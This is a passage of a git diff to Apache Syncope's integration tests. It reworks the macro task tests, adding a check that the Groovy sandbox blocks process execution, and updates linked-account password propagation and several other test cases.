UserTO user = createUser(userCR).getEntity(); @@ -244,7 +250,7 @@ public void createWithoutLinkedAccountThenAddAndUpdatePassword() throws NamingEx // 2. create user without linked account UserCR userCR = UserITCase.getSample( - "linkedAccount" + RandomStringUtils.randomNumeric(5) + "@syncope.apache.org"); + "linkedAccount" + RandomStringUtils.insecure().nextNumeric(5) + "@syncope.apache.org"); String connObjectKeyValue = "uid=" + userCR.getUsername() + ",ou=People,o=isp"; UserTO user = createUser(userCR).getEntity(); @@ -267,20 +273,66 @@ public void createWithoutLinkedAccountThenAddAndUpdatePassword() throws NamingEx userUR = new UserUR(); userUR.setKey(user.getKey()); userUR.getLinkedAccounts().add(new LinkedAccountUR.Builder().linkedAccountTO(account).build()); + + // 4.1 SYNCOPE-1824 update with a wrong password, a error must be raised + account.setPassword("password"); + try { + updateUser(userUR); + fail("Should not arrive here due to wrong linked account password"); + } catch (SyncopeClientException sce) { + assertEquals(ClientExceptionType.InvalidUser, sce.getType()); + assertEquals("InvalidUser [InvalidPassword: Password must be 10 or more characters in length.]", + sce.getMessage()); + } + + // clean propagation tasks + TASK_SERVICE.search(new TaskQuery.Builder(TaskType.PROPAGATION).resource(RESOURCE_NAME_LDAP). + anyTypeKind(AnyTypeKind.USER).entityKey(user.getKey()).build()).getResult(). + forEach(task -> TASK_SERVICE.delete(TaskType.PROPAGATION, task.getKey())); + + // set a correct password + account.setPassword("Password123"); user = updateUser(userUR).getEntity(); assertNotNull(user.getLinkedAccounts().get(0).getPassword()); - // 5. update linked account password + PagedResult tasks = TASK_SERVICE.search( + new TaskQuery.Builder(TaskType.PROPAGATION).resource(RESOURCE_NAME_LDAP). + anyTypeKind(AnyTypeKind.USER).entityKey(user.getKey()).build()); + assertEquals(1, tasks.getTotalCount()); + assertEquals(connObjectKeyValue, tasks.getResult().get(0).getConnObjectKey()); + assertEquals(ExecStatus.SUCCESS.name(), tasks.getResult().get(0).getLatestExecStatus()); + PropagationData propagationData = POJOHelper.deserialize( + tasks.getResult().get(0).getPropagationData(), PropagationData.class); + assertTrue(propagationData.getAttributes().stream(). + anyMatch(a -> OperationalAttributes.PASSWORD_NAME.equals(a.getName()))); + + // 5. update linked account password String beforeUpdatePassword = user.getLinkedAccounts().get(0).getPassword(); account.setPassword("Password123Updated"); userUR = new UserUR(); userUR.setKey(user.getKey()); + // clean propagation tasks + TASK_SERVICE.search(new TaskQuery.Builder(TaskType.PROPAGATION).resource(RESOURCE_NAME_LDAP). + anyTypeKind(AnyTypeKind.USER).entityKey(user.getKey()).build()).getResult(). + forEach(task -> TASK_SERVICE.delete(TaskType.PROPAGATION, task.getKey())); + userUR.getLinkedAccounts().add(new LinkedAccountUR.Builder().linkedAccountTO(account).build()); user = updateUser(userUR).getEntity(); assertNotNull(user.getLinkedAccounts().get(0).getPassword()); assertNotEquals(beforeUpdatePassword, user.getLinkedAccounts().get(0).getPassword()); + tasks = TASK_SERVICE.search( + new TaskQuery.Builder(TaskType.PROPAGATION).resource(RESOURCE_NAME_LDAP). + anyTypeKind(AnyTypeKind.USER).entityKey(user.getKey()).build()); + assertEquals(1, tasks.getTotalCount()); + assertEquals(connObjectKeyValue, tasks.getResult().get(0).getConnObjectKey()); + assertEquals(ExecStatus.SUCCESS.name(), tasks.getResult().get(0).getLatestExecStatus()); + propagationData = POJOHelper.deserialize( + tasks.getResult().get(0).getPropagationData(), PropagationData.class); + assertTrue(propagationData.getAttributes().stream(). + anyMatch(a -> OperationalAttributes.PASSWORD_NAME.equals(a.getName()))); + // 6. set linked account password to null account.setPassword(null); userUR = new UserUR(); @@ -295,6 +347,8 @@ public void createWithoutLinkedAccountThenAddAndUpdatePassword() throws NamingEx @Test public void push() { + assumeFalse(IS_EXT_SEARCH_ENABLED); + // 0a. read configured cipher algorithm in order to be able to restore it at the end of test String origpwdCipherAlgo = confParamOps.get(SyncopeConstants.MASTER_DOMAIN, "password.cipher.algorithm", null, String.class); @@ -307,7 +361,7 @@ public void push() { try { // 1. create user with linked account UserCR userCR = UserITCase.getSample( - "linkedAccount" + RandomStringUtils.randomNumeric(5) + "@syncope.apache.org"); + "linkedAccount" + RandomStringUtils.insecure().nextNumeric(5) + "@syncope.apache.org"); LinkedAccountTO account = new LinkedAccountTO.Builder(RESOURCE_NAME_REST, connObjectKeyValue).build(); userCR.getLinkedAccounts().add(account); @@ -361,10 +415,9 @@ public void push() { assertEquals(1, task.getExecutions().size()); assertEquals(ExecStatus.SUCCESS.name(), task.getExecutions().get(0).getStatus()); - tasks = TASK_SERVICE.search( - new TaskQuery.Builder(TaskType.PROPAGATION).resource(RESOURCE_NAME_REST). - anyTypeKind(AnyTypeKind.USER).entityKey(user.getKey()).build()); - assertEquals(3, tasks.getTotalCount()); + await().until(() -> TASK_SERVICE.search( + new TaskQuery.Builder(TaskType.PROPAGATION).resource(RESOURCE_NAME_REST) + .anyTypeKind(AnyTypeKind.USER).entityKey(user.getKey()).build()).getTotalCount() == 3); // 6. verify that both user and account are now found on resource response = webClient.get(); diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MacroITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MacroITCase.java deleted file mode 100644 index 1391335b491..00000000000 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MacroITCase.java +++ /dev/null @@ -1,166 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.fit.core; - -import static org.awaitility.Awaitility.await; -import static org.junit.jupiter.api.Assertions.assertEquals; -import static org.junit.jupiter.api.Assertions.assertFalse; -import static org.junit.jupiter.api.Assertions.assertNotNull; -import static org.junit.jupiter.api.Assertions.fail; - -import java.nio.charset.StandardCharsets; -import java.util.concurrent.TimeUnit; -import javax.ws.rs.core.Response; -import org.apache.commons.io.IOUtils; -import org.apache.syncope.common.lib.SyncopeClientException; -import org.apache.syncope.common.lib.command.CommandTO; -import org.apache.syncope.common.lib.request.UserCR; -import org.apache.syncope.common.lib.to.AnyObjectTO; -import org.apache.syncope.common.lib.to.ExecTO; -import org.apache.syncope.common.lib.to.ImplementationTO; -import org.apache.syncope.common.lib.to.MacroTaskTO; -import org.apache.syncope.common.lib.to.RoleTO; -import org.apache.syncope.common.lib.to.UserTO; -import org.apache.syncope.common.lib.types.ClientExceptionType; -import org.apache.syncope.common.lib.types.ExecStatus; -import org.apache.syncope.common.lib.types.IdRepoEntitlement; -import org.apache.syncope.common.lib.types.IdRepoImplementationType; -import org.apache.syncope.common.lib.types.ImplementationEngine; -import org.apache.syncope.common.lib.types.TaskType; -import org.apache.syncope.common.rest.api.RESTHeaders; -import org.apache.syncope.common.rest.api.beans.ExecSpecs; -import org.apache.syncope.common.rest.api.service.TaskService; -import org.apache.syncope.fit.AbstractITCase; -import org.apache.syncope.fit.core.reference.TestCommand; -import org.apache.syncope.fit.core.reference.TestCommandArgs; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.BeforeAll; -import org.junit.jupiter.api.Test; - -public class MacroITCase extends AbstractITCase { - - private static String MACRO_TASK_KEY; - - private static final TestCommandArgs TCA = new TestCommandArgs(); - - static { - TCA.setParentRealm("/odd"); - TCA.setRealmName("macro"); - TCA.setPrinterName("aprinter112"); - } - - @BeforeAll - public static void testCommandsSetup() throws Exception { - CommandITCase.testCommandSetup(); - - ImplementationTO transformer = null; - try { - transformer = IMPLEMENTATION_SERVICE.read( - IdRepoImplementationType.COMMAND, "GroovyCommand"); - } catch (SyncopeClientException e) { - if (e.getType().getResponseStatus() == Response.Status.NOT_FOUND) { - transformer = new ImplementationTO(); - transformer.setKey("GroovyCommand"); - transformer.setEngine(ImplementationEngine.GROOVY); - transformer.setType(IdRepoImplementationType.COMMAND); - transformer.setBody(IOUtils.toString( - MacroITCase.class.getResourceAsStream("/GroovyCommand.groovy"), StandardCharsets.UTF_8)); - Response response = IMPLEMENTATION_SERVICE.create(transformer); - transformer = IMPLEMENTATION_SERVICE.read( - transformer.getType(), response.getHeaderString(RESTHeaders.RESOURCE_KEY)); - assertNotNull(transformer.getKey()); - } - } - assertNotNull(transformer); - - if (MACRO_TASK_KEY == null) { - MacroTaskTO task = new MacroTaskTO(); - task.setName("Test Macro"); - task.setActive(true); - task.setRealm("/odd"); - task.getCommands().add(new CommandTO.Builder("GroovyCommand").build()); - task.getCommands().add(new CommandTO.Builder(TestCommand.class.getSimpleName()).args(TCA).build()); - - Response response = TASK_SERVICE.create(TaskType.MACRO, task); - task = getObject(response.getLocation(), TaskService.class, MacroTaskTO.class); - MACRO_TASK_KEY = task.getKey(); - } - } - - @AfterAll - public static void cleanup() { - TestCommandArgs args = new TestCommandArgs(); - try { - ANY_OBJECT_SERVICE.delete(args.getPrinterName()); - REALM_SERVICE.delete(args.getParentRealm() + "/" + args.getRealmName()); - } catch (Exception e) { - // ignore - } - } - - @Test - public void execute() { - int preExecs = TASK_SERVICE.read(TaskType.MACRO, MACRO_TASK_KEY, true).getExecutions().size(); - ExecTO execution = TASK_SERVICE.execute(new ExecSpecs.Builder().key(MACRO_TASK_KEY).build()); - assertNotNull(execution.getExecutor()); - - await().atMost(MAX_WAIT_SECONDS, TimeUnit.SECONDS).pollInterval(1, TimeUnit.SECONDS).until(() -> { - try { - return preExecs < TASK_SERVICE.read(TaskType.MACRO, MACRO_TASK_KEY, true).getExecutions().size(); - } catch (Exception e) { - return false; - } - }); - - ExecTO exec = TASK_SERVICE.read(TaskType.MACRO, MACRO_TASK_KEY, true).getExecutions().get(preExecs); - assertEquals(ExecStatus.SUCCESS.name(), exec.getStatus()); - - AnyObjectTO printer = ANY_OBJECT_SERVICE.read(TCA.getPrinterName()); - assertNotNull(printer); - assertEquals(TCA.getParentRealm() + "/" + TCA.getRealmName(), printer.getRealm()); - assertFalse(REALM_SERVICE.list(printer.getRealm()).isEmpty()); - } - - @Test - public void cantExecute() { - // 1. create Role for task execution - RoleTO role = new RoleTO(); - role.setKey("new" + getUUIDString()); - role.getRealms().add("/even"); - role.getEntitlements().add(IdRepoEntitlement.TASK_EXECUTE); - role = createRole(role); - assertNotNull(role); - - // 2. create User with such a Role granted - UserCR userCR = UserITCase.getUniqueSample("cantrunncommand@test.org"); - userCR.getRoles().add(role.getKey()); - UserTO userTO = createUser(userCR).getEntity(); - assertNotNull(userTO); - - // 3. attempt to run the macro task -> fail - TaskService taskService = CLIENT_FACTORY.create( - userTO.getUsername(), "password123").getService(TaskService.class); - try { - taskService.execute(new ExecSpecs.Builder().key(MACRO_TASK_KEY).build()); - fail(); - } catch (SyncopeClientException e) { - assertEquals(ClientExceptionType.DelegatedAdministration, e.getType()); - } - } -} diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MacroTaskITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MacroTaskITCase.java new file mode 100644 index 00000000000..b04427a3409 --- /dev/null +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MacroTaskITCase.java @@ -0,0 +1,333 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.fit.core; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.util.Locale; +import java.util.UUID; +import java.util.concurrent.TimeUnit; +import javax.ws.rs.core.Response; +import org.apache.commons.io.IOUtils; +import org.apache.syncope.common.lib.SyncopeClientException; +import org.apache.syncope.common.lib.command.CommandTO; +import org.apache.syncope.common.lib.form.FormProperty; +import org.apache.syncope.common.lib.form.FormPropertyType; +import org.apache.syncope.common.lib.form.SyncopeForm; +import org.apache.syncope.common.lib.request.UserCR; +import org.apache.syncope.common.lib.to.AnyObjectTO; +import org.apache.syncope.common.lib.to.ExecTO; +import org.apache.syncope.common.lib.to.FormPropertyDefTO; +import org.apache.syncope.common.lib.to.ImplementationTO; +import org.apache.syncope.common.lib.to.MacroTaskTO; +import org.apache.syncope.common.lib.to.RoleTO; +import org.apache.syncope.common.lib.to.UserTO; +import org.apache.syncope.common.lib.types.ClientExceptionType; +import org.apache.syncope.common.lib.types.ExecStatus; +import org.apache.syncope.common.lib.types.IdRepoEntitlement; +import org.apache.syncope.common.lib.types.IdRepoImplementationType; +import org.apache.syncope.common.lib.types.ImplementationEngine; +import org.apache.syncope.common.lib.types.TaskType; +import org.apache.syncope.common.rest.api.RESTHeaders; +import org.apache.syncope.common.rest.api.beans.ExecSpecs; +import org.apache.syncope.common.rest.api.beans.RealmQuery; +import org.apache.syncope.common.rest.api.beans.TaskQuery; +import org.apache.syncope.common.rest.api.service.TaskService; +import org.apache.syncope.fit.AbstractITCase; +import org.apache.syncope.fit.core.reference.TestCommand; +import org.apache.syncope.fit.core.reference.TestCommandArgs; +import org.apache.syncope.fit.core.reference.TestMacroActions; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; + +public class MacroTaskITCase extends AbstractITCase { + + private static String MACRO_TASK_KEY; + + private static final TestCommandArgs TCA = new TestCommandArgs(); + + static { + TCA.setParentRealm("${parent}"); + TCA.setRealmName("${realm}"); + TCA.setPrinterName("aprinter112"); + } + + private static void createMacroActionsIfNeeded(final String key, final ImplementationEngine engine, + final String body) { + ImplementationTO macroActions = null; + try { + macroActions = IMPLEMENTATION_SERVICE.read(IdRepoImplementationType.MACRO_ACTIONS, key); + } catch (SyncopeClientException e) { + if (e.getType().getResponseStatus() == Response.Status.NOT_FOUND) { + macroActions = new ImplementationTO(); + macroActions.setKey(key); + macroActions.setEngine(engine); + macroActions.setType(IdRepoImplementationType.MACRO_ACTIONS); + macroActions.setBody(body); + Response response = IMPLEMENTATION_SERVICE.create(macroActions); + macroActions = IMPLEMENTATION_SERVICE.read( + macroActions.getType(), response.getHeaderString(RESTHeaders.RESOURCE_KEY)); + assertNotNull(macroActions.getKey()); + } + } + assertNotNull(macroActions); + } + + @BeforeAll + public static void testCommandsSetup() throws Exception { + CommandITCase.testCommandSetup(); + + ImplementationTO transformer = null; + try { + transformer = IMPLEMENTATION_SERVICE.read( + IdRepoImplementationType.COMMAND, "GroovyCommand"); + } catch (SyncopeClientException e) { + if (e.getType().getResponseStatus() == Response.Status.NOT_FOUND) { + transformer = new ImplementationTO(); + transformer.setKey("GroovyCommand"); + transformer.setEngine(ImplementationEngine.GROOVY); + transformer.setType(IdRepoImplementationType.COMMAND); + transformer.setBody(IOUtils.toString(MacroTaskITCase.class.getResourceAsStream("/GroovyCommand.groovy"), + StandardCharsets.UTF_8)); + Response response = IMPLEMENTATION_SERVICE.create(transformer); + transformer = IMPLEMENTATION_SERVICE.read( + transformer.getType(), response.getHeaderString(RESTHeaders.RESOURCE_KEY)); + assertNotNull(transformer.getKey()); + } + } + assertNotNull(transformer); + + createMacroActionsIfNeeded( + TestMacroActions.class.getSimpleName(), + ImplementationEngine.JAVA, + TestMacroActions.class.getName()); + + if (MACRO_TASK_KEY == null) { + MACRO_TASK_KEY = TASK_SERVICE.search( + new TaskQuery.Builder(TaskType.MACRO).build()).getResult(). + stream().filter(t -> "Test Macro".equals(t.getName())).findFirst().map(MacroTaskTO::getKey). + orElseGet(() -> { + MacroTaskTO task = new MacroTaskTO(); + task.setName("Test Macro"); + task.setActive(true); + task.setRealm("/odd"); + task.getCommands().add(new CommandTO.Builder("GroovyCommand").build()); + task.getCommands().add( + new CommandTO.Builder(TestCommand.class.getSimpleName()).args(TCA).build()); + + FormPropertyDefTO realm = new FormPropertyDefTO(); + realm.setName("realm"); + realm.getLabels().put(Locale.ENGLISH, "Realm"); + realm.setWritable(true); + realm.setRequired(true); + realm.setType(FormPropertyType.String); + task.getFormPropertyDefs().add(realm); + + FormPropertyDefTO parent = new FormPropertyDefTO(); + parent.setName("parent"); + parent.getLabels().put(Locale.ENGLISH, "Parent Realm"); + parent.setWritable(true); + parent.setRequired(true); + parent.setType(FormPropertyType.Dropdown); + task.getFormPropertyDefs().add(parent); + + task.setMacroActions(TestMacroActions.class.getSimpleName()); + + Response response = TASK_SERVICE.create(TaskType.MACRO, task); + return response.getHeaderString(RESTHeaders.RESOURCE_KEY); + }); + } + } + + @AfterAll + public static void cleanup() { + TestCommandArgs args = new TestCommandArgs(); + try { + ANY_OBJECT_SERVICE.delete(args.getPrinterName()); + REALM_SERVICE.delete(args.getParentRealm() + "/" + args.getRealmName()); + } catch (Exception e) { + // ignore + } + } + + @Test + public void execute() { + SyncopeForm form = TASK_SERVICE.getMacroTaskForm(MACRO_TASK_KEY, Locale.ENGLISH.toLanguageTag()); + form.getProperty("realm").orElseThrow().setValue("macro"); + FormProperty parent = form.getProperty("parent").orElseThrow(); + assertTrue(parent.getDropdownValues().stream().anyMatch(v -> "/odd".equals(v.getKey()))); + parent.setValue("/odd"); + + int preExecs = TASK_SERVICE.read(TaskType.MACRO, MACRO_TASK_KEY, true).getExecutions().size(); + ExecTO exec = TASK_SERVICE.execute(new ExecSpecs.Builder().key(MACRO_TASK_KEY).build(), form); + assertNotNull(exec.getExecutor()); + + await().atMost(MAX_WAIT_SECONDS, TimeUnit.SECONDS).pollInterval(1, TimeUnit.SECONDS).until(() -> { + try { + return preExecs < TASK_SERVICE.read(TaskType.MACRO, MACRO_TASK_KEY, true).getExecutions().size(); + } catch (Exception e) { + return false; + } + }); + + exec = TASK_SERVICE.read(TaskType.MACRO, MACRO_TASK_KEY, true).getExecutions().get(preExecs); + assertEquals(ExecStatus.SUCCESS.name(), exec.getStatus()); + + AnyObjectTO printer = ANY_OBJECT_SERVICE.read(PRINTER, TCA.getPrinterName()); + assertNotNull(printer); + assertEquals("/odd/macro", printer.getRealm()); + assertFalse(REALM_SERVICE.search( + new RealmQuery.Builder().base(printer.getRealm()).build()).getResult().isEmpty()); + } + + @Test + public void saveSameCommandMultipleOccurrencies() { + TestCommandArgs tca1 = new TestCommandArgs(); + tca1.setParentRealm("parent1"); + tca1.setRealmName("realm1"); + tca1.setPrinterName("printer1"); + + MacroTaskTO task = new MacroTaskTO(); + task.setName("saveSameCommandMultipleOccurrencies"); + task.setActive(true); + task.setRealm("/"); + task.getCommands().add(new CommandTO.Builder("GroovyCommand").build()); + task.getCommands().add(new CommandTO.Builder(TestCommand.class.getSimpleName()).args(tca1).build()); + task.getCommands().add(new CommandTO.Builder("GroovyCommand").build()); + + Response response = TASK_SERVICE.create(TaskType.MACRO, task); + String newTaskKey = response.getHeaderString(RESTHeaders.RESOURCE_KEY); + + task = TASK_SERVICE.read(TaskType.MACRO, newTaskKey, false); + assertEquals(3, task.getCommands().size()); + assertEquals("GroovyCommand", task.getCommands().get(0).getKey()); + assertEquals(TestCommand.class.getSimpleName(), task.getCommands().get(1).getKey()); + assertEquals(tca1, task.getCommands().get(1).getArgs()); + assertEquals("GroovyCommand", task.getCommands().get(2).getKey()); + + TestCommandArgs tca2 = new TestCommandArgs(); + tca2.setParentRealm("parent2"); + tca2.setRealmName("realm2"); + tca2.setPrinterName("printer2"); + task.getCommands().add(new CommandTO.Builder(TestCommand.class.getSimpleName()).args(tca2).build()); + + TASK_SERVICE.update(TaskType.MACRO, task); + + task = TASK_SERVICE.read(TaskType.MACRO, newTaskKey, false); + assertEquals(4, task.getCommands().size()); + assertEquals("GroovyCommand", task.getCommands().get(0).getKey()); + assertEquals(TestCommand.class.getSimpleName(), task.getCommands().get(1).getKey()); + assertEquals(tca1, task.getCommands().get(1).getArgs()); + assertEquals("GroovyCommand", task.getCommands().get(2).getKey()); + assertEquals(TestCommand.class.getSimpleName(), task.getCommands().get(3).getKey()); + assertEquals(tca2, task.getCommands().get(3).getArgs()); + } + + @Test + public void cantExecute() { + // 1. create Role for task execution + RoleTO role = new RoleTO(); + role.setKey("new" + getUUIDString()); + role.getRealms().add("/even"); + role.getEntitlements().add(IdRepoEntitlement.TASK_EXECUTE); + role = createRole(role); + assertNotNull(role); + + // 2. create User with such a Role granted + UserCR userCR = UserITCase.getUniqueSample("cantrunncommand@test.org"); + userCR.getRoles().add(role.getKey()); + UserTO userTO = createUser(userCR).getEntity(); + assertNotNull(userTO); + + // 3. attempt to run the macro task -> fail + TaskService taskService = CLIENT_FACTORY.create( + userTO.getUsername(), "password123").getService(TaskService.class); + try { + taskService.execute(new ExecSpecs.Builder().key(MACRO_TASK_KEY).build()); + fail(); + } catch (SyncopeClientException e) { + assertEquals(ClientExceptionType.DelegatedAdministration, e.getType()); + } + } + + @Test + public void groovySecuritySandbox() throws IOException { + createMacroActionsIfNeeded( + "ProcessBuilderMacroActions", + ImplementationEngine.GROOVY, + IOUtils.toString( + getClass().getResourceAsStream("/ProcessBuilderMacroActions.groovy"), StandardCharsets.UTF_8)); + + MacroTaskTO task = new MacroTaskTO(); + task.setName("groovySecuritySandbox" + UUID.randomUUID().toString()); + task.setActive(true); + task.setRealm("/odd"); + task.setMacroActions("ProcessBuilderMacroActions"); + + Response response = TASK_SERVICE.create(TaskType.MACRO, task); + String firstTaskKey = response.getHeaderString(RESTHeaders.RESOURCE_KEY); + assertNotNull(firstTaskKey); + TASK_SERVICE.execute(new ExecSpecs.Builder().key(firstTaskKey).build()); + + ExecTO exec = await().atMost(MAX_WAIT_SECONDS, TimeUnit.SECONDS).pollInterval(1, TimeUnit.SECONDS).until(() -> { + try { + return TASK_SERVICE.read(TaskType.MACRO, firstTaskKey, true).getExecutions().get(0); + } catch (Exception e) { + return null; + } + }, e -> e != null && !"JOB_FIRED".equals(e.getStatus())); + assertEquals(ExecStatus.FAILURE.name(), exec.getStatus()); + assertTrue(exec.getMessage().startsWith("java.lang.SecurityException: Insecure call to")); + + createMacroActionsIfNeeded( + "BashMacroActions", + ImplementationEngine.GROOVY, + IOUtils.toString( + getClass().getResourceAsStream("/BashMacroActions.groovy"), StandardCharsets.UTF_8)); + + task = new MacroTaskTO(); + task.setName("groovySecuritySandbox" + UUID.randomUUID().toString()); + task.setActive(true); + task.setRealm("/odd"); + task.setMacroActions("BashMacroActions"); + + response = TASK_SERVICE.create(TaskType.MACRO, task); + String secondTaskKey = response.getHeaderString(RESTHeaders.RESOURCE_KEY); + assertNotNull(secondTaskKey); + TASK_SERVICE.execute(new ExecSpecs.Builder().key(firstTaskKey).build()); + + exec = await().atMost(MAX_WAIT_SECONDS, TimeUnit.SECONDS).pollInterval(1, TimeUnit.SECONDS).until(() -> { + try { + return TASK_SERVICE.read(TaskType.MACRO, firstTaskKey, true).getExecutions().get(0); + } catch (Exception e) { + return null; + } + }, e -> e != null && !"JOB_FIRED".equals(e.getStatus())); + assertEquals(ExecStatus.FAILURE.name(), exec.getStatus()); + assertTrue(exec.getMessage().startsWith("java.lang.SecurityException: Insecure call to")); + } +} diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MailTemplateITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MailTemplateITCase.java index 3257e342d63..edebe001cd3 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MailTemplateITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MailTemplateITCase.java @@ -25,7 +25,6 @@ import static org.junit.jupiter.api.Assertions.fail; import java.io.IOException; -import java.io.InputStream; import java.nio.charset.StandardCharsets; import java.util.List; import javax.ws.rs.core.MediaType; @@ -89,10 +88,7 @@ public void crud() throws IOException { response = MAIL_TEMPLATE_SERVICE.getFormat(key, MailTemplateFormat.TEXT); assertEquals(200, response.getStatus()); assertTrue(response.getMediaType().toString().startsWith(MediaType.TEXT_PLAIN)); - assertTrue(response.getEntity() instanceof InputStream); - assertEquals( - textTemplate, - IOUtils.toString((InputStream) response.getEntity(), StandardCharsets.UTF_8)); + assertEquals(textTemplate, response.readEntity(String.class)); // 3. set HTML String htmlTemplate = "Hi there, I am ${username}."; @@ -102,10 +98,7 @@ public void crud() throws IOException { response = MAIL_TEMPLATE_SERVICE.getFormat(key, MailTemplateFormat.HTML); assertEquals(200, response.getStatus()); assertTrue(response.getMediaType().toString().startsWith(MediaType.TEXT_HTML)); - assertTrue(response.getEntity() instanceof InputStream); - assertEquals( - htmlTemplate, - IOUtils.toString((InputStream) response.getEntity(), StandardCharsets.UTF_8)); + assertEquals(htmlTemplate, response.readEntity(String.class)); // 4. remove HTML MAIL_TEMPLATE_SERVICE.removeFormat(key, MailTemplateFormat.HTML); @@ -120,10 +113,7 @@ public void crud() throws IOException { response = MAIL_TEMPLATE_SERVICE.getFormat(key, MailTemplateFormat.TEXT); assertEquals(200, response.getStatus()); assertTrue(response.getMediaType().toString().startsWith(MediaType.TEXT_PLAIN)); - assertTrue(response.getEntity() instanceof InputStream); - assertEquals( - textTemplate, - IOUtils.toString((InputStream) response.getEntity(), StandardCharsets.UTF_8)); + assertEquals(textTemplate, response.readEntity(String.class)); // 5. remove mail template MAIL_TEMPLATE_SERVICE.delete(key); diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MembershipITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MembershipITCase.java index b0e52ef103a..7ed665923bc 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MembershipITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MembershipITCase.java @@ -105,7 +105,7 @@ public void misc() throws JsonProcessingException { assertEquals(1, membership.getPlainAttr("aLong").get().getValues().size()); assertEquals("1977", membership.getPlainAttr("aLong").get().getValues().get(0)); - // 3. verify that derived attrbutes from 'csv' and 'other' are also populated for user's membership + // 3. verify that derived attributes from 'csv' and 'other' are also populated for user's membership assertFalse(membership.getDerAttr("csvuserid").get().getValues().isEmpty()); assertFalse(membership.getDerAttr("noschema").get().getValues().isEmpty()); @@ -267,6 +267,7 @@ public void pull() { // 4. create pull task and execute newTask = TASK_SERVICE.read(TaskType.PULL, "7c2242f4-14af-4ab5-af31-cdae23783655", true); + newTask.setName(getUUIDString()); newTask.setResource(newResource.getKey()); newTask.setDestinationRealm("/even/two"); @@ -279,7 +280,7 @@ public void pull() { assertEquals(ExecStatus.SUCCESS, ExecStatus.valueOf(execution.getStatus())); // 5. verify that pulled user has - if (IS_ELASTICSEARCH_ENABLED) { + if (IS_EXT_SEARCH_ENABLED) { try { Thread.sleep(2000); } catch (InterruptedException ex) { diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MultitenancyITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MultitenancyITCase.java index a8c729c702b..7ffff3739ff 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MultitenancyITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MultitenancyITCase.java @@ -25,6 +25,7 @@ import static org.junit.jupiter.api.Assertions.fail; import static org.junit.jupiter.api.Assumptions.assumeTrue; +import java.security.AccessControlException; import java.util.List; import java.util.Locale; import javax.ws.rs.core.GenericType; @@ -33,7 +34,6 @@ import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.client.lib.SyncopeClientFactoryBean; import org.apache.syncope.common.keymaster.client.api.model.Domain; -import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.request.UserCR; import org.apache.syncope.common.lib.to.ConnInstanceTO; @@ -49,7 +49,6 @@ import org.apache.syncope.common.lib.to.ResourceTO; import org.apache.syncope.common.lib.to.UserTO; import org.apache.syncope.common.lib.types.AnyTypeKind; -import org.apache.syncope.common.lib.types.ClientExceptionType; import org.apache.syncope.common.lib.types.ExecStatus; import org.apache.syncope.common.lib.types.MappingPurpose; import org.apache.syncope.common.lib.types.MatchingRule; @@ -207,7 +206,7 @@ public void createResourceAndPull() { assertEquals(ExecStatus.SUCCESS, ExecStatus.valueOf(status)); // verify that pulled user is found - if (IS_ELASTICSEARCH_ENABLED) { + if (IS_EXT_SEARCH_ENABLED) { try { Thread.sleep(2000); } catch (InterruptedException ex) { @@ -248,13 +247,13 @@ public void createResourceAndPull() { @Test public void issueSYNCOPE1377() { try { - new SyncopeClientFactoryBean().setAddress(ADDRESS).setDomain("NotExisting").create(). + new SyncopeClientFactoryBean().setAddress(ADDRESS).setDomain("NotExisting"). + create(ADMIN_UNAME, ADMIN_PWD). getService(UserSelfService.class). create(UserITCase.getUniqueSample("syncope1377@syncope.apache.org")); fail("This should not happen"); - } catch (SyncopeClientException e) { - assertEquals(ClientExceptionType.NotFound, e.getType()); - assertTrue(e.getMessage().contains("NotExisting")); + } catch (AccessControlException e) { + assertTrue(e.getMessage().contains("Could not find domain NotExisting")); } } } diff --git 